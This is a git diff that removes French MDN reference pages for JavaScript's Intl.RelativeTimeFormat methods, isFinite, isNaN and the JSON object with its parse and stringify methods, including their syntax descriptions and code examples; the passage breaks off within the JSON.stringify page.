diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/relativetimeformat/resolvedoptions/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/relativetimeformat/resolvedoptions/index.html deleted file mode 100644 index 1d6ddd6978..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/relativetimeformat/resolvedoptions/index.html +++ /dev/null @@ -1,100 +0,0 @@ ---- -title: Intl.RelativeTimeFormat.prototype.resolvedOptions() -slug: >- - Web/JavaScript/Reference/Objets_globaux/Intl/RelativeTimeFormat/resolvedOptions -tags: - - Internationalization - - Intl - - JavaScript - - Méthode - - Prototype - - Reference - - i18n -translation_of: >- - Web/JavaScript/Reference/Global_Objects/Intl/RelativeTimeFormat/resolvedOptions ---- -
{{JSRef}}
- -

La méthode Intl.RelativeTimeFormat.prototype.resolvedOptions() renvoie un nouvel objet dont les propriétés reflètent les options de format et de locale pour les valeurs temporelles relatives, calculées pendant l'initialisation de l'objet {{jsxref("RelativeTimeFormat")}}.

- -
{{EmbedInteractiveExample("pages/js/intl-relativetimeformat-prototype-resolvedoptions.html")}}
- - - -

Syntaxe

- -
relativeTimeFormat.resolvedOptions()
- -

Valeur de retour

- -

Un nouvel objet dont les propriétés reflètent les options de locale et de formatage calculées lors de l'initialisation de l'objet {{jsxref("RelativeTimeFormat")}}.

- -

Description

- -

L'objet renvoyé par cette méthode possèdera les propriétés suivantes :

- -
-
locale
-
La balise de langue BCP 47 qui est réellement utilisée. Si des extensions Unicode étaient fournies avec la balise d'origine et sont supportées pour la locale utilisée, les paires de clés-valeurs seront incluses dans locale.
-
style
-
La longueur du message internationalisé. Les valeurs possibles sont : -
    -
  • "long" : la valeur par défaut, peu concise (par exemple in 1 month)
    • -
  • "short" : une valeur plus courte (par exemple in 1 mo.),
    • -
  • "narrow" : une valeur encore plus courte (pouvant être ambigüe selon les locales) (par exemple in 1 mo.). Les styles narrow et short peuvent être similaires voire identiques pour certaines locales.
    • -
-
-
numeric
-
Le format du message produit. Les valeurs possibles sont : -
    -
  • "always" : la valeur par défaut (par exemple  1 day ago),
    • -
  • "auto" : cette valeur indique qu'il n'est pas nécessaire d'utiliser de valeur numérique dans le message produit (par exemple yesterday).
    • -
-
-
numberingSystem
-
La valeur demandée pour la clé d'extension Unicode "nu" ou la valeur remplie par défaut.
-
- -

Exemples

- -
var de = new Intl.RelativeTimeFormat('de-DE');
-var usedOptions = de.resolvedOptions();
-
-usedOptions.locale;          // "de-DE"
-usedOptions.style;           // "long"
-usedOptions.numeric;         // "always"
-usedOptions.numberingSystem; // "latn"
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
Proposition pour Intl.RelativeTimeProposition de niveau 3 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Intl.RelativeTimeFormat.resolvedOptions")}}

- -

Voir aussi

- -
    -
  • {{jsxref("RelativeTimeFormat", "Intl.RelativeTimeFormat")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/relativetimeformat/supportedlocalesof/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/relativetimeformat/supportedlocalesof/index.html deleted file mode 100644 index be0599106c..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/relativetimeformat/supportedlocalesof/index.html +++ /dev/null @@ -1,87 +0,0 @@ ---- -title: Intl.RelativeTimeFormat.supportedLocalesOf() -slug: >- - Web/JavaScript/Reference/Objets_globaux/Intl/RelativeTimeFormat/supportedLocalesOf -tags: - - Internationalisation - - Intl - - JavaScript - - Méthode - - Reference -translation_of: >- - Web/JavaScript/Reference/Global_Objects/Intl/RelativeTimeFormat/supportedLocalesOf ---- -
{{JSRef}}
- -

La méthode Intl.RelativeTimeFormat.supportedLocalesOf() renvoie un tableau contenant l'ensemble des locales, parmi celles fournies en argument, qui sont prises en charge pour le formatage internationalisé du temps relatif, sans avoir à utiliser la locale par défaut de l'environnement d'exécution.

- -
{{EmbedInteractiveExample("pages/js/intl-relativetimeformat-prototype-supportedlocalesof.html")}}
- - - -

Syntaxe

- -
Intl.RelativeTimeFormat.supportedLocalesOf(locales[, options])
- -

Paramètres

- -
-
locales
-
Un chaîne de caractères au format d'une balise de langue BCP 47 ou bien un tableau de telles chaînes. Pour plus d'informations sur le format de l'argument locales, voir la page {{jsxref("Intl", "Intl", "#L'identification_et_le_choix_de_la_locale")}}.
-
options
-
-

Paramètre optionnel, un objet pouvant avoir la propriété suivante :

- -
-
localeMatcher
-
L'algorithme de correspondance entre locales à utiliser. Les valeurs possibles sont "lookup" et "best fit". Pour plus d'informations sur ce sujet, voir la page {{jsxref("Intl", "Intl", "#Choix_de_la_locale")}}.
-
-
-
- -

Valeur de retour

- -

Un tableau de chaînes de caractères qui représente un sous-ensemble des balises de langue qui sont prises en charge pour la mise en forme du temps relatif sans qu'il soit nécessaire d'utiliser la locale par défaut de l'environnement d'exécution.

- -

Description

- -

Cette méthode renvoie un tableau qui est un sous-ensemble de locales. Les balises de langues renvoyées sont celles supportées par l'environnement pour le formatage des temps relatifs. Ces balises sont déterminées en fonction de l'algorithme de correspondances de locale et des locales utilisées. Le tableau résultant fournit les locales qui permettent de ne pas avoir à utiliser la locale par défaut.

- -

Examples

- -

Utiliser supportedLocalesOf()

- -

Si on dispose d'un environnement qui supporte les locales indonésienne et allemande mais pas balinaise pour le formatage des temps relatifs, supportedLocalesOf renverra les balises BCP 47 pour l'indonésien et l'allemand (bien que la collation pinyin ne soit pas pertinente pour les dates ni pour l'indonésien et qu'il soit peu probable qu'une variante indonésienne existe pour l'allemand). Pour l'exemple, on l'utilise l'algorithme "lookup". Si on utilisait "best fit", on pourrait considérer que l'indonésien est adéquat pour la locale balinaise (sachant que la plupart des balinais comprend l'indonésien) et donc également renvoyer la balise balinaise.

- -
var locales = ['ban', 'id-u-co-pinyin', 'de-ID'];var options = { localeMatcher: 'lookup' };console.log(Intl.RelativeTimeFormat.supportedLocalesOf(locales, options).join(', '));// → "id-u-co-pinyin, de-ID"
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
Proposition pour Intl.RelativeTimeProposition de niveau 3 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Intl.RelativeTimeFormat.supportedLocalesOf")}}

- -

Voir aussi

- -
    -
  • {{jsxref("RelativeTimeFormat", "Intl.RelativeTimeFormat")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/isfinite/index.html b/files/fr/web/javascript/reference/objets_globaux/isfinite/index.html deleted file mode 100644 index 314a85183d..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/isfinite/index.html +++ /dev/null @@ -1,101 +0,0 @@ ---- -title: isFinite() -slug: Web/JavaScript/Reference/Objets_globaux/isFinite -tags: - - Fonction - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/isFinite ---- -
{{jsSidebar("Objects")}}
- -

La fonction globale isFinite() détermine si la valeur passée en argument est un nombre fini. Si nécessaire, le paramètre est d'abord converti en nombre.

- -
{{EmbedInteractiveExample("pages/js/globalprops-isfinite.html")}}
- - - -

Syntaxe

- -
isFinite(valeurÀTester)
- -

Paramètres

- -
-
valeurÀTester
-
La valeur dont on souhaite savoir si elle est finie ou non.
-
- -

Valeur de retour

- -

false si la valeur passée en argument vaut {{jsxref("Infinity")}} (en positif ou en négatif),{{jsxref("NaN")}} ou {{jsxref("undefined")}}, true sinon.

- -

Description

- -

isFinite() est une fonction qui n'est rattachée à aucun objet et qui est disponible au plus haut niveau.

- -

Cette fonction peut être utilisée pour déterminer si un nombre est fini ou non. La fonction isFinite() examine le nombre passé en argument : si celui-ci vaut {{jsxref("NaN")}}, {{jsxref("Infinity")}} (pour l'infini) ou {{jsxref("Infinity","-Infinity")}} (pour l'infini négatif), cette fonction renvoie false sinon elle renvoie true.

- -

Exemples

- -
isFinite(Infinity);  // false
-isFinite(NaN);       // false
-isFinite(-Infinity); // false
-
-isFinite(0);         // true
-isFinite(2e64);      // true
-isFinite(910);       // true
-isFinite(null);      // true, ce qui aurait été false
-                     // avec la méthode Number.isFinite(null)
-
-
-isFinite("0");       // true ce qui aurait été false
-                     // avec la méthode Number.isFinite("0")
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2')}}{{Spec2('ES3')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.1.2.5', 'isFinite')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-isfinite-number', 'isFinite')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-isfinite-number', 'isFinite')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.isFinite")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Number.isFinite()")}}
    • -
  • {{jsxref("Number.NaN")}}
    • -
  • {{jsxref("Number.POSITIVE_INFINITY")}}
    • -
  • {{jsxref("Number.NEGATIVE_INFINITY")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/isnan/index.html b/files/fr/web/javascript/reference/objets_globaux/isnan/index.html deleted file mode 100644 index f1f8d4ea70..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/isnan/index.html +++ /dev/null @@ -1,155 +0,0 @@ ---- -title: isNaN() -slug: Web/JavaScript/Reference/Objets_globaux/isNaN -tags: - - JavaScript - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/isNaN ---- -
{{jsSidebar("Objects")}}
- -

La fonction isNaN() permet de déterminer si une valeur est {{jsxref("NaN")}}. On notera que cette fonction utilise des règles de conversion différentes de {{jsxref("Number.isNaN()")}}, définie avec ECMAScript 2015 (ES6).

- -
{{EmbedInteractiveExample("pages/js/globalprops-isnan.html")}}
- -

Syntaxe

- -
isNaN(valeurÀTester)
- -

Paramètres

- -
-
valeurÀTester
-
La valeur dont on souhaite déterminer si elle est {{jsxref("NaN")}}.
-
- -

Valeur de retour

- -

true si la valeur fournie vaut {{jsxref("NaN")}}, sinon, la méthode renverra false.

- -

Description

- -

La nécessité d'avoir isNaN()

- -

À la différence des autres valeurs JavaScript, il est impossible d'utiliser les opérateurs d'égalité faible et stricte ({{jsxref("Opérateurs/Opérateurs_de_comparaison","==","#.C3.89galit.C3.A9_simple_(.3D.3D)")}} et {{jsxref("Opérateurs/Opérateurs_de_comparaison","===","#.C3.89galit.C3.A9_stricte_(.3D.3D.3D)")}}) afin de déterminer si une valeur est ou n'est pas réellement {{jsxref("NaN")}}. En effet NaN == NaN et NaN === NaN renvoient false tous les deux. C'est pour cela qu'il est nécessaire d'avoir la fonction isNaN().

- -

Les origines de NaN

- -

La valeur NaN est générée lorsqu'une opération arithmétique résulte en une valeur indéfinie ou non représentable. De telles valeurs ne représentent pas nécessairement des dépassements de condition. NaN peut également être le résultat d'une conversion numérique pour les valeurs qui n'ont pas de valeurs numériques correspondantes (par exemple lorsqu'on souhaite convertir la chaîne "toto" en un nombre).

- -

Par exemple, lorsqu'on divise zéro par zéro, on obtient NaN. En revanche, lorsqu'on divise d'autres nombres par zéro, on n'obtient pas ce résultat.

- -

Comportement étrange de isNaN()

- -

Depuis les premières spécifications pour isNaN(), son comportement sur les arguments non-numériques a toujours été source de confusion. Lorsque l'argument passé à la fonction n'est pas du type Number, la valeur est d'abord convertie en une valeur du type Number. La valeur résultante est ensuite utilisée lors du test afin de déterminer si c'est {{jsxref("NaN")}}. Ainsi pour valeurs non numériques qui sont converties en une valeur non-NaN numérique (notamment la chaîne vide, les valeurs booléennes qui donnent zéro ou un), la fonction renverra false, ce qui pourrait être inattendu (en effet, la chaîne vide n'est pas un nombre). Ici, la confusion provient du fait que « not a number » a un sens particulier pour les valeurs numériques représentées selon IEEE-754. Cette fonction doit plutôt être vue comme la réponse à la question « est-ce que cette valeur, lorsqu'elle est convertie en une valeur numérique, correspond à la valeur IEEE-754 "Not A Number" ? ».

- -

La version ECMAScript ES2015 ajoute la méthode {{jsxref("Number.isNaN()")}}. Number.isNaN(x) permettra de tester de façon plus fiable si x vaut NaN ou non. Si on ne dispose pas de cette méthode, on peut également utiliser l'expression (x != x) afin de tester de façon plus certaine si x vaut NaN ou non (en effet le résultat de cette expression n'aura pas les faux positifs de isNaN). Sous cet angle, isNaN() peut être vu comme :

- -
var isNaN = function(valeur) {
-  return Number.isNaN(Number(valeur));
-};
- -

Ou encore, en utilisant le fait que NaN est la seule valeur différente d'elle-même :

- -
var isNaN = function(valeur) {
-  var n = Number(valeur);
-  return n !== n;
-};
- -

NaN est « empoisonné »

- -

Cette fonction peut être utilisée afin de déterminer si la valeur courante peut faire partie d'une expression arithmétique. En effet, si un des composants d'une expression arithmétique vaut NaN, le résultat de l'expression sera NaN également (on dit alors que NaN « empoisonne » l'expression). La méthode isNaN() permet alors de vérifier, avant de construire une expression, que les valeurs utilisées n'empoisonneront pas l'expression.

- -

On peut par exemple construire une fonction dont on souhaite qu'elle incrémente l'argument et que la valeur qu'elle renvoie ne puisse pas être NaN. Le code de cette fonction pourrait être :

- -
function incrément(x) {
-  if (isNaN(x)){
-    x = 0;
-  }
-  return x + 1;
-}
-
-// En utilisant des notations raccourcies,
-// on pourrait écrire une fonction équivalente
-function incrémentCourt(x) {
-  isNaN(x) ? 1 : x + 1;
-}
-
-incrément("blabla");  // 1
-incrément(1);         // 2
-incrément(NaN);       // 1
-
- -

Exemples

- -
isNaN(NaN);       // true
-isNaN(undefined); // true
-isNaN({});        // true
-
-isNaN(true);      // false
-isNaN(null);      // false
-isNaN(37);        // false
-
-// strings
-isNaN("37");      // false : "37" est converti vers le nombre 37 qui n'est pas NaN
-isNaN("37.37");   // false : "37.37" est converti vers le nombre 37.37 qui n'est pas NaN
-isNaN("37,25");   // true  : la virgule n'est pas considérée comme un séparateur décimal
-isNaN("123ABC");  // true  : "123ABC" converti en 123 par parseInt mais en NaN par Number
-isNaN("");        // false : la chaîne vide est convertie en 0 qui n'est pas NaN
-isNaN(" ");       // false : une chaîne de blancs est convertie en 0 qui n'est pas NaN
-
-// dates
-isNaN(new Date());                // false
-isNaN(new Date().toString());     // true
-
-// Voici le résultat « faux-positif » qui fait que isNaN n'est pas entièrement fiable
-isNaN("blabla")   // true : "blabla" est converti en un nombre
-                  // Si on souhaite convertir cette valeur en nombre, cela échoue
-                  // et on obtient NaN
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.1.2.4', 'isNaN')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-isnan-number', 'isNaN')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-isnan-number', 'isNaN')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.isNaN")}}

- -

Voir aussi

- -
    -
  • {{jsxref("NaN")}}
    • -
  • {{jsxref("Number.isNaN()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/json/index.html b/files/fr/web/javascript/reference/objets_globaux/json/index.html deleted file mode 100644 index ecc67a2d86..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/json/index.html +++ /dev/null @@ -1,153 +0,0 @@ ---- -title: JSON -slug: Web/JavaScript/Reference/Objets_globaux/JSON -tags: - - JSON - - JavaScript - - Object - - Reference - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/JSON ---- -
{{JSRef}}
- -

L’objet JSON contient des méthodes pour interpréter du JSON (JavaScript Object Notation) (voir également la page du glossaire {{glossary("JSON")}}) et convertir des valeurs en JSON. Il ne peut être appelé ou construit, et, en dehors de ses deux méthodes, n’a pas de fonctionnalité propre.

- -

Différences entres JavaScript et JSON

- -

JSON est une syntaxe pour sérialiser des objets, tableaux, nombres, chaînes de caractères, booléens et valeurs null. Elle est basée sur la syntaxe de JavaScript mais en est distincte : du code JavaScript n’est pas nécessairement du JSON, et du JSON n’est pas nécessairement du JavaScript.

- -
    -
  • Pour les objets et les tableaux -
      -
    • Les noms de propriété doivent être des chaînes de caractères délimitées par des guillements doubles ; les trailing commas sont interdits
      • -
    -
    • -
  • Pour les nombres -
      -
    • Les zéros non significatifs sont interdits ; un point décimal doit être suivi d’au moins un chiffre (plus exactement : JSON.stringify() ignorera les zéros mais JSON.parse() déclenchera une exception SyntaxError).
      • -
    -
    • -
  • Pour le texte : tout texte JSON est une expression JavaScript (pour les moteurs qui implémentent cette proposition). -
      -
    • Pour les autres moteurs, seul un jeu limité de caractères peut être échappé ; certains caractères de contrôle sont interdits ; le séparateur de ligne Unicode (U+2028) et le séparateur de paragraphe (U+2029) sont autorisés en JSON mais pas en JavaScript dans les littéraux de chaînes de caractères.
      • -
    -
    • -
- -

Dans l'exemple suivant, on utilise {{jsxref("JSON.parse()")}} afin d'analyser la chaîne JSON et eval afin d'exécuter le code correspondant :

- -
var code = '"\u2028\u2029"';
-JSON.parse(code); // vaut "\u2028\u2029" pour tous les moteurs
-eval(code); // provoque une SyntaxError pour les anciens moteurs
- -

Syntaxe complète

- -
JSON = null
-    ou true ou false
-    ou NombreJSON
-    ou ChaîneJSON
-    ou ObjetJSON
-    ou TableauJSON
-
-NombreJSON = - NombrePositif
-          ou NombrePositif
-NombrePositif = NombreDécimal
-              ou NombreDécimal . Chiffres
-              ou NombreDécimal . Chiffres PartiExposant
-              ou NombreDécimal PartiExposant
-NombreDécimal = 0
-             ou UnÀNeuf Chiffres
-PartiExposant = e Exposant
-            ou E Exposant
-Exposant = Chiffres
-        ou + Chiffres
-        ou - Chiffres
-Chiffres = Chiffre
-      ou Chiffres Chiffre
-Chiffre = 0 à 9
-UnÀNeuf = 1 à 9
-
-ChaîneJSON = ""
-          ou " ChaîneCaractères "
-ChaîneCaractères = ChaîneCaractère
-                ou ChaîneCaractères ChaîneCaractère
-ChaîneCaractère = un caractère
-                  sauf " ou \ ou U+0000 à U+001F
-               ou SéquenceÉchappement
-SéquenceÉchappement = \" ou \/ ou \\ ou \b ou \f ou \n ou \r ou \t
-              ou \u ChifreHexadécimal ChifreHexadécimal ChifreHexadécimal ChifreHexadécimal
-ChifreHexadécimal = 0 à 9
-        ou A à F
-        ou a à f
-
-ObjetJSON = { }
-          ou { Membres }
-Membres = ChaîneJSON : JSON
-       ou Membres , ChaîneJSON : JSON
-
-TableauJSON = [ ]
-         ou [ ÉlémentsTableau ]
-ÉlémentsTableau = JSON
-             ou ÉlémentsTableau , JSON
- -

Des espaces blancs insignifiants peuvent être présents n’importe où sauf dans un JSONNumber (les nombres ne doivent pas contenir d’espaces blancs) ou dans un JSONString (where it is interpreted as the corresponding character in the string, or would cause an error). Les caractères tabulation (U+0009), retour chariot (U+000D), saut de ligne (U+000A), and espace (U+0020) sont les seuls caractères blancs valides.

- -

Méthodes

- -
-
{{jsxref("JSON.parse()", "JSON.parse(texte[, revivificateur])")}}
-
Analysez le texte de la chaîne comme JSON, transformez éventuellement la valeur produite et ses propriétés, et renvoyez la valeur. Toute violation de la syntaxe JSON, y compris celles concernant les différences entre JavaScript et JSON, entraîne l'envoi d'un {{jsxref("SyntaxError")}}. L'option "revivificateur" permet d'interpréter ce que le remplacement a utilisé pour remplacer d'autres types de données.
-
{{jsxref("JSON.stringify()", "JSON.stringify(valeur[, remplacement[, expace]])")}}
-
Retourne une chaîne JSON correspondant à la valeur spécifiée, en incluant éventuellement seulement certaines propriétés ou en remplaçant les valeurs des propriétés d'une manière définie par l'utilisateur. Par défaut, toutes les instances de {{jsxref("undefined")}} sont remplacées par {{jsxref("null")}}, et les autres types de données natives non prises en charge sont censurés. L'option de remplacement permet de spécifier un autre comportement.
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.12', 'JSON')}}{{Spec2('ES5.1')}}Définition initiale.
{{SpecName('ES6', '#sec-json-object', 'JSON')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-json-object', 'JSON')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.JSON")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Date.prototype.toJSON()")}}
    • -
  • Quelques outils permettant de manipuler des données en JSON - -
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/json/parse/index.html b/files/fr/web/javascript/reference/objets_globaux/json/parse/index.html deleted file mode 100644 index 9161bc2ee2..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/json/parse/index.html +++ /dev/null @@ -1,131 +0,0 @@ ---- -title: JSON.parse() -slug: Web/JavaScript/Reference/Objets_globaux/JSON/parse -tags: - - ECMAScript 5 - - JSON - - JavaScript - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/JSON/parse ---- -
{{JSRef}}
- -

La méthode JSON.parse() analyse une chaîne de caractères JSON et construit la valeur JavaScript ou l'objet décrit par cette chaîne. On peut éventuellement utiliser cette fonction avec un paramètre de modification permettant de traiter l'objet avant qu'il soit renvoyé.

- -
{{EmbedInteractiveExample("pages/js/json-parse.html")}}
- - - -

Syntaxe

- -
JSON.parse(texte[, reviver])
- -

Paramètres

- -
-
texte
-
La chaine de caractère à analyser comme du JSON. Voir l'objet {{jsxref("JSON")}} pour une description de la syntaxe JSON.
-
reviver
-
Si l'argument est une fonction, effectue une opération de transformation sur la valeur analysée avant de la renvoyer.
-
- -

Valeur de retour

- -

Un objet ({{jsxref("Object")}}) correspondant au texte envoyé.

- -

Exceptions

- -

Lève une exception {{jsxref("SyntaxError")}} si la chaine de caractère à analyser ne contient pas du JSON valide.

- -

Exemples

- -

Utiliser JSON.parse()

- -
try {
-  JSON.parse('{}');              // {}
-  JSON.parse('true');            // true
-  JSON.parse('"toto"');          // "toto"
-  JSON.parse('[1, 5, "false"]'); // [1, 5, "false"]
-  JSON.parse('null');            // null
-} catch (e) {
-  console.error("Parsing error:", e);
-}
-
- -

Utiliser le paramètre reviver

- -

Si un reviver est spécifié, la valeur obtenue par l'analyse est transformée avant d'être renvoyée. Plus précisément, la valeur calculée, et toutes les propriétés (commençant avec les propriétés les plus imbriquées), sont passées individuellement au reviver, qui est appelé avec : l'objet contenant la propriété en cours de traitement, le nom de la propriété en chaine de caractères et la valeur de la propriété. Si la fonction reviver retourne {{jsxref("undefined")}} (ou ne retourne aucune valeur, par exemple si l'exécution s'arrête à la fin de la fonction), la propriété est supprimée de l'objet. Autrement la propriété est redéfinie avec la valeur retournée.

- -

Si le reviver ne transforme que certaines valeurs et pas d'autres, assurez-vous que les valeurs inchangées soient renvoyées telles quelles. En effet, si elles ne sont pas renvoyées, elles seront supprimés sur l'objet obtenu !

- -
JSON.parse('{"p": 5}', (key, value) => {
-  if (typeof value === 'number') {
-    return value * 2;  // renvoie value * 2 pour les nombres
-  }
-  return value;        // pour le reste, la valeur est inchangée
-});
-
-// { p: 10 }
-
-JSON.parse('{"1": 1, "2": 2,"3": {"4": 4, "5": {"6": 6}}}', (key, value) => {
-    console.log(key);            // on affiche le nom de la propriété dans la console
-    return value;                // et on renvoie la valeur inchangée.
-});
-
-// 1
-// 2
-// 4
-// 6
-// 5
-// 3
-// ""
- -

JSON.parse() n'accepte pas les virgules en fin de tableau

- -
// les deux instructions qui suivent lèveront une SyntaxError
-JSON.parse('[1, 2, 3, 4, ]');
-JSON.parse('{ "toto" : 1, }');
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.12.2', 'JSON.parse')}}{{Spec2('ES5.1')}}Définition initiale.
- Implementée avec JavaScript 1.7.
{{SpecName('ES6', '#sec-json.parse', 'JSON.parse')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-json.parse', 'JSON.parse')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.JSON.parse")}}

- -

Voir aussi

- -
    -
  • {{jsxref("JSON.stringify()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/json/stringify/index.html b/files/fr/web/javascript/reference/objets_globaux/json/stringify/index.html deleted file mode 100644 index 2243d898f3..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/json/stringify/index.html +++ /dev/null @@ -1,372 +0,0 @@ ---- -title: JSON.stringify() -slug: Web/JavaScript/Reference/Objets_globaux/JSON/stringify -tags: - - JSON - - JavaScript - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/JSON/stringify ---- -
{{JSRef}}
- -

La méthode JSON.stringify() convertit une valeur JavaScript en chaîne JSON. Optionnellement, elle peut remplacer des valeurs ou spécifier les propriétés à inclure si un tableau de propriétés a été fourni.

- -
{{EmbedInteractiveExample("pages/js/json-stringify.html")}}
- - - -

Syntaxe

- -
JSON.stringify( valeur[, remplaçant [, espace]])
- -

Paramètres

- -
-
valeur
-
La valeur à convertir en chaîne JSON.
-
remplaçant {{optional_inline}}
-
-

Une fonction qui modifie le processus de transformation ou un tableau de chaînes de caractères et de nombres qui sont utilisés comme liste blanche pour sélectionner/filtrer les propriétés de l'objet à inclure dans la chaîne JSON. Si cette valeur est {{jsxref("null")}} ou n'est pas fournie, toutes les propriétés de l'objet seront inclues dans la chaîne résultante.

-
-
espace {{optional_inline}}
-
Un objet {{jsxref("String")}} ou {{jsxref("Number")}} qui est utilisé pour insérer des blancs dans la chaîne JSON produite afin de faciliter la lisibilité.
-
- -
    -
  • Si cet argument est un nombre, il indiquera le nombre d'espaces à utiliser pour l'indentation (la valeur est ramenée à 10 si elle dépasse 10).
    • -
  • Si l'argument est une chaîne, les 10 premiers caractères (ou la chaîne si elle est plus courte) seront utilisés pour les blancs.
    • -
  • Si le paramètre n'est pas fourni (ou s'il est nul), aucun blanc ne sera utilisé.
    • -
- -

Valeur de retour

- -

Une chaîne de caractères JSON qui représente la valeur indiquée.

- -

Exceptions

- -
    -
  • Cette méthode lève une exception {{jsxref("TypeError")}} (« cyclic object value ») lorsqu'elle trouve une référence circulaire.
    • -
  • Cette méthode lève une exception {{jsxref("TypeError")}} (« BigInt value can't be serialized in JSON ») lorsqu'on tente de convertir une valeur {{jsxref("BigInt")}} en une chaîne de caractères JSON.
    • -
- -

Description

- -

La fonction JSON.stringify() convertit un objet en JSON :

- -
    -
  • L'ordre des propriétés des objets qui ne sont pas des tableaux n'est pas garanti. Par la suite, ne pas supposer que cet ordre soit respecté.
    • -
  • Les objets {{jsxref("Boolean")}}, {{jsxref("Number")}} et {{jsxref("String")}} sont convertis en leur valeur primitive correspondante, en accord avec la sémantique traditionnelle.
    • -
  • Si {{jsxref("undefined")}}, une fonction ou un symbole est rencontré lors de la conversion , il est soit omis ( quand il se trouve dans un objet ) ou ramené à {{jsxref("null")}} ( quand il se trouve dans un tableau). JSON.stringify() peut également renvoyer undefined lorsqu'il reçoit des valeurs « brutes » qui ne sont pas objectifiées comme par exemple JSON.stringify(function(){}) ou JSON.stringify(undefined).
    • -
  • Toutes les propriétés liées aux symboles (cf. {{jsxref("Symbol")}}) seront complètement ignorées , même lorsque la fonction remplaçant est utilisée.
    • -
  • Les propriétés qui ne sont pas énumérables seront ignorées.
    • -
  • Les instances de {{jsxref("Date")}} implémentent la fonction toJSON() en renvoyant une chaîne de caractères (identique à celle renvoyée par date.toISOString()). Aussi, les dates sont traitées comme des chaînes de caractères.
    • -
  • Les nombres {{jsxref("Infinity")}} et {{jsxref("NaN")}}, ainsi que l'objet {{jsxref("null")}} sont traités comme null.
    • -
  • Pour les autres instances d'objets tels que {{jsxref("Map")}}, {{jsxref("Set")}}, {{jsxref("WeakMap")}} et {{jsxref("WeakSet")}}, seules les propriétés énumérables sont sérialisées.
    • -
- -
JSON.stringify({});                        // '{}'
-JSON.stringify(true);                      // 'true'
-JSON.stringify("toto");                    // '"toto"'
-JSON.stringify([1, "false", false]);       // '[1,"false",false]'
-JSON.stringify([NaN, null, Infinity]);   // '[null,null,null]'
-JSON.stringify({ x: 5 });                  // '{"x":5}'
-
-JSON.stringify(new Date(2006, 0, 2, 15, 4, 5));
-// '"2006-01-02T23:04:05.000Z"'
-
-// Exemples
-JSON.stringify({x: 5, y: 6});
-// '{"x":5,"y":6}'
-JSON.stringify([new Number(3), new String("false"), new Boolean(false)]);
-// '[3,"false",false]'
-
-// Les tableaux avec des propriétés ne sont pas énumérables
-// et n'ont pas de sens selon JSON
-let a = ["toto", "truc"];
-a["bidule"] = "youpi"; // a:[ 0: "toto", 1: "truc", bidule: "youpi"]
-JSON.stringify(a);
-// '["toto","truc"]'
-
-// Symboles
-JSON.stringify({x: undefined, y: Object, z: Symbol("")});
-// '{}'
-JSON.stringify({[Symbol("toto")]: "toto"});
-// '{}'
-JSON.stringify({[Symbol.for("toto")]: "toto"}, [Symbol.for("toto")]);
-// '{}'
-JSON.stringify({[Symbol.for("toto")]: "toto"}, function (k, v) {
-  if (typeof k === "symbol"){
-    return "a symbol";
-  }
-});
-// '{}'
-JSON.stringify({ x: [10, undefined, function(){}, Symbol('')] });
-// '{"x":[10,null,null,null]}'
-
-// Structures de données classiques
-JSON.stringify([new Set([1]), new Map([[1, 2]]), new WeakSet([{a: 1}]), new WeakMap([[{a: 1}, 2]])]);
-// '[{},{},{},{}]'
-
-// TypedArray
-JSON.stringify([new Int8Array([1]), new Int16Array([1]), new Int32Array([1])]);
-// '[{"0":1},{"0":1},{"0":1}]'
-JSON.stringify([new Uint8Array([1]), new Uint8ClampedArray([1]), new Uint16Array([1]), new Uint32Array([1])]);
-// '[{"0":1},{"0":1},{"0":1},{"0":1}]'
